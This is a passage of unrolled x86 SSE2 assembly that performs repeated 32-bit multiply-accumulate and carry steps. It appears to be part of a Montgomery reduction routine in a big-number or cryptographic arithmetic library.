movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(44), %edx
jmp .Lfinishgas_1
.Ltst_reduct12gas_1:
cmp $(12), %edi
jne .Ltst_reduct13gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
